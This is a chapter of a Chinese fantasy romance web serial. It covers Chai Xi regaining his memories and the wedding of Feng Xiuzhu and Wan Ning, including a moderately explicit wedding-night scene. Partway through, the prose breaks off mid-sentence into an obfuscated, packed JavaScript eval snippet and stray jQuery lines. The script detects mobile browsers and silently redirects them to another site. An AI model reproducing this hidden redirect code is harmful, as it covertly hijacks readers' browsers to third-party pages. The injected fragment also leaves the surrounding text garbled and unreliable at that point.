90. 情定旧里5

作品:《我嘞个言出法随

    木神想起自己名叫柴希,在十二岁那年,作为质子来到火族。


    那时柴希讨厌无颜宿主,因为无颜不仅处心积虑控制了木族,还心狠手辣想杀了木无缺,木族乃至整个大陆差一点就因为他的冲动完蛋了,虽然最后无颜留了木无缺的性命,柴希却不得不与亲人分离。


    在无颜身边,柴希表面顺从,实则并不安分,有一回还暗地操控傀儡,伺机偷袭,可惜他的小把戏根本没被无颜放在眼里,对方抬手便是一团烈火,将他耗尽心力打造的傀儡烧得片甲不留。


    柴希看着无颜面具后那双冰冷的眼眸,只觉双腿如灌了铅般,他知道自己不知死活地挑衅,轻则招来严惩,重则连累木族。


    出乎意料的是,无颜只下令将他禁足。


    呆在自己的房间,柴希才敢颤抖着伸出被烧伤的手,掌心灼痛无比,这是他咎由自取,怨不得任何人,可想到这双手会溃烂废掉,眼泪便不受控制地漫出眼眶。


    但那天,无颜丢给他一瓶烫伤药。


    两人的关系开始变得微妙,柴希看到无颜在战场上斩杀魔兵,不得不承认他确实强的可怕。


    后来,无颜嘴上说着让柴希别闲着,实则是借这个由头,教他术法,柴希渐渐觉得无颜和传言不太一样,而彻底对他改观是因偷偷窥见了无颜珍藏的信笺……


    柴希很聪明,他将前因后果串联,知道了木族背叛火族做的事情,也知道了自己不过是木无缺舍弃的棋子。


    柴希不再顶撞无颜,二人相处日渐和睦。


    魔头伏诛后,无颜带着柴希培育的朝朝暮暮花准备去见心上人,而柴希返回木族杀了木无缺,稳定木族内部后,以为很快就能收到无颜传来的好消息,却先等来了一个自称为神的人,他邀请柴希去做木神。


    柴希在他那打探了一番,知晓无颜没有做火神,并且下落不明时,也拒绝做木神,可交战时他输了。


    ……


    柴希想起这些后,下意识喊了风修竹一声“风叔叔”,话音刚落,才反应过来如今风修竹和他压根没差几岁,甚至比他年纪还要小些,可风修竹还是欠揍地“嗯”了一声,然后伸出手想将他从地上拉起来。


    柴希好气又好笑,“啪”地一声握了上去,拧着眉毛提醒道:“如今长流已自成一体。他封印许多反抗他的神官记忆,建立了神界的秩序,便不会容许他人随意更改,而我们既破除了封印,往后务必谨慎行事。”


    “嗯,知道,先不提这个了。”风修竹转了个话头,“我和阿凝要成亲了,到时来喝喜酒吧。”


    柴希一愣,随即笑道:“恭喜。”


    ……


    风修竹没再管柴希,折回去找万凝,却没见到她人影。


    他正奇怪人怎么不见了。


    下一刻,万凝猛地从后面跳出来,一把搂住他的脖子,笑嘻嘻地喊着:“偷袭!”


    风修竹被她逗得忍不住笑出来,“偷袭成功。”


    两人看着对方笑,只是万凝笑着笑着,眼神变得温柔又心疼。


    因为刚才柴希解除封印的过程给她的冲击实在太大了,风修竹却没告诉他那天是怎么挺过来的。


    阿婵的封印是在镜子的作用下解除的,柴希的封印是有人帮忙拔除的,那他自己的呢?


    长流的封印贯穿颅骨,可想而知,风修竹在金戈城吃了多少苦。


    “一定很疼吧?”万凝摸向他的发顶。


    风修竹立刻放低身形配合,以免万凝抬着手累到,“那时候只想着把它拔出来,没想那么多。”


    万凝哼道:“骗我。”


    风修竹坚定道:“没骗。若还能感到痛楚,至少这个人还活着不是吗?”


    万凝带着鼻音道:“可我更希望你能因为一些美好的事而感觉到自己在活着。”


    风修竹抱住万凝,“你就是我觉得最美好的存在。”


    “笨蛋。”万凝吸了吸鼻子,抱着风修竹的时候,手趁他不备,飞快摸了一把大腿,触到意料之外的紧实。


    风修竹有些不自然地咳嗽一下,柴希还在那边看着呢,“干嘛?”


    万凝小声道:“刚才看你把腿抬得那么高,我试了下,疼得不行!”


    听到这话,风修竹传来一声闷闷的哼笑,“抬不起来没关系,你躺着就好,要出力的事都交给我,而给化息汇聚信仰之力,也交给我,我去做火神。”


    万凝忍不住往风修竹温暖的怀里蹭了蹭,“什么都让你替我扛着,以后要是离了你,我肯定不行的。”


    “那就永不分离。”风修竹收紧环住万凝的手臂。


    清风无声缠绕,一旁翠竹轻摆,竹叶相互摩挲,发出沙沙细响,令人无事而静。


    ……


    万凝要嫁,风修竹要娶。


    二人的婚事虽来得突然,却也顺理成章,一时间,大家伙都赶忙张罗起来。


    柴希、钟翱以及贾大龙手下的土匪特别捧场,在焰界峰山脚下选了一处吉地,不舍昼夜地盖起一座属于小两口的新居,赵子婵则在新居落成后添了些家禽牲畜。


    风修竹也没闲着,因身上留了不少荆棘刺出的难看伤口,这些时日勤勤恳恳,早晚擦拭柴希亲制的玉容膏,赶在成亲前,大小疤痕褪得七七八八。


    到了大喜之日,红红火火。


    赵子婵守着妆成的万凝说了不少体己话,并且召来真龙金凤为他们送上一场旷世难逢的吉瑞天相,龙凤在空中相互交缠回旋,漫天流光溢彩,十里八乡的百姓纷纷涌出家门,只为目睹这一奇观。


    而钟翱看着身穿大红喜袍的风修竹抱着万凝,眉宇间尽是运筹帷幄势在必得的意气,像个打了胜仗凯旋归来的大将军,钟翱眼眶不由热了,他胡乱抹了把脸,咧嘴嚷道:“好!好!”


    在宾客们的祝福声中,万凝和风修竹拜过天地,便是真正的夫妻了。


    与此同时,流俗孤身站在不知彼岸海域,天色晦暗,滚着闷雷,而他面不改色地耳听波涛,目看潮涨潮退。


    ……


    入洞房前,还有招待宾客与敬酒环节,风修竹刻意少喝些酒,以免满身酒气,让万凝闻到不高兴。


    风修竹一向如此,在火巢的时候,也是身上带了汗味,会先冲个凉再去万凝的医馆,那时钟翱就喜欢调侃他,风修竹便会让他收敛点,不要那么明显,可今天,耳畔听着这些打趣的话,风修竹只觉得心里无比幸福。


    风修竹总算见到了自己的新娘子,她正坐在床边静静地等着他。


    风修竹激动且紧张揭开了红盖头,轻轻唤了一声:“阿凝。”


    红盖头下面,万凝明艳动人,眸子清粼粼的,像是一汪潋滟的柔波,鬓边流苏坠子晃来晃去,晃得风修竹眼晕心也晕。


    “好看吗?”万凝眨了眨眼。


    风修竹捣蒜般点头,脱口而出的词句只剩下“好看”和“特别好看”。


    “你也特别好看,很不一样。”万凝抿唇笑着,风修竹模样本就俊朗,今日一袭赤红喜服更是烈烈灼目,将他本就优越的宽肩窄腰展露无遗。


    春宵一刻值千金,正常男人恐怕已经忍不住要与心爱之人亲密,更何况还是万凝这么美的新娘子,但风修竹跨了一大步坐在了床沿边上,解下手腕上的红色根茎。


    他的喉结上下滚了滚,“火族男女定情之际,会互送朝朝暮暮花,表示双方都愿意接受对方的爱,但新婚之夜新郎官要将两条根茎打结,代表‘喜结连理’。”


    “好呀。”万凝认真听完,摘下自己手腕上的红色根茎交到风修竹的手中,短暂触碰,发现他的手烫得不行。


    万凝以为随便打个结就可以了,谁知道竟然有新郎官打得结越漂亮就越爱新娘子的说法。


    于是,风修竹认认真真编了个并蒂同心结,编得不好还


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128061|190407||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    要重来。


    万凝也不知道这是为了折磨谁专门设计的,但转念一想,她应该矜持!


    终于,风修竹编好了。


    “请夫人过目。”


    “不错不错。”万凝接过同心结,认真赏玩着,一抬头就撞进风修竹深邃漆黑的眼眸,正渴求地看着自己。


    渴求夸奖?可万凝已经夸过他了。


    万凝将同心结放在枕边,涂了寇丹的指甲刮过风修竹的嘴唇下缘,风修竹嘴唇微张,有些忍不住地含住了她的指尖。


    万凝也不逗他了,笑吟吟地主动攀着他亲吻。


    唇舌相接,风修竹含住万凝的唇,没有急切的掠夺,只是一下一下慢而沉地吮着,无声地用行动告诉万凝他今晚会很温柔,别怕。


    分开后,万凝后知后觉地红着脸,分不清是害羞还是情热。


    “太热了吗?太热就把衣服脱了吧。”风修竹的手摩挲着万凝的脸颊,眼中罩起云雾,声音放得很柔,带着哄劝的意味,可低哑的嗓音却出卖了他此刻的虎视眈眈。


    万凝的喜服被褪至肘间,又在风修竹的引导下平躺下来。


    风修竹目光流连,看向万凝肩膀已经愈合的伤痕,同一个地方受过两次伤,第一次是前世被汪芷的冰锥贯伤,第二次是在金戈城的刀伤。


    他俯身,唇瓣吻了上去,力道轻得怜惜不忍。


    万凝却不由自主瑟缩了一下。


    他们都不是第一次了,但这次风修竹明显考虑到了很多,很多万凝没注意的细节他都注意到了,不仅贴心地在她腰下垫了一个软枕,还时不时就要问一句疼不疼。


    万凝在这样细致入微的照料下,逐渐想要更多,风修竹向来慷慨,予取予求,从无半分吝惜。


    他眯着眼,锐利的眉微微皱着,绝不错过万凝所有的反应。整夜,颈后的火纹时灭时亮,每一次亮起,便有斑斓花色簌簌绽开。


    情到浓时,他频频唤着爱人的名字,也必须让她喊自己。


    满室燥热,直到喜烛“哔剥”爆了个灯花,风修竹拥紧万凝。


    交织的喘息从急促逐渐平稳,万凝像一颗饱满成熟的石榴,冶艳胜过了以往任何时刻,而这份独有的风情,只有风修竹能够有幸目睹。


    他细细密密的吻落在万凝眉间,眼角,鼻头,最后停在染了津液的银亮唇边,浅尝辄止,不带一丝侵略的意味,珍重得像在触碰稀世珍宝。


    “我的阿凝,真美。”


    ……


    次日,焰界峰。


    风修竹难得起的没有万凝早,但他的手臂箍着万凝,手掌整晚都没从她身上挪开过,万凝动了两下,想要下地,后腰突然传来了被硬物抵着的感觉。


    “一早上就不老实。”风修竹醒了,把准备要跑的万凝拉回怀里,咬了下她耳垂,含糊不清地吐出这句话。


    万凝抗议道:“不老实的另有其人!”


    “嗯,是谁呢?”风修竹明知故问,把手往下移到了万凝腿-心。


    半个时辰后,两人又洗了个澡,换好衣裳,风修竹支起窗户,通风换气,去准备早膳,万凝负责打扫屋子,可新居一切都是崭新的,并没有太多需要打理的地方,顶多是将床单拆下来,至于拆下来的床单要怎么泡、怎么搓、怎么晾晒,以及铺床琐事,全都由风修竹包揽了去。


    万凝在家里转了一圈,索性贴了两张符。一张床顶符,此符贴在床顶,可去梦魇之鬼,使人不做噩梦,另一张床上符,能使夫妻恩爱,生活和谐美满。


    直到风修竹招呼万凝,“过来用饭。”


    “来了!”万凝轻快地跑过去,在风修竹的脸颊上轻轻一吻,“辛苦了。”


    风修竹心头暖意融融,揉了揉她的头。


    两人一同用过饭后,稍作休息,开始着手修复石尘的手札。


    到了正午,赵子婵和钟翱带来了一个消息。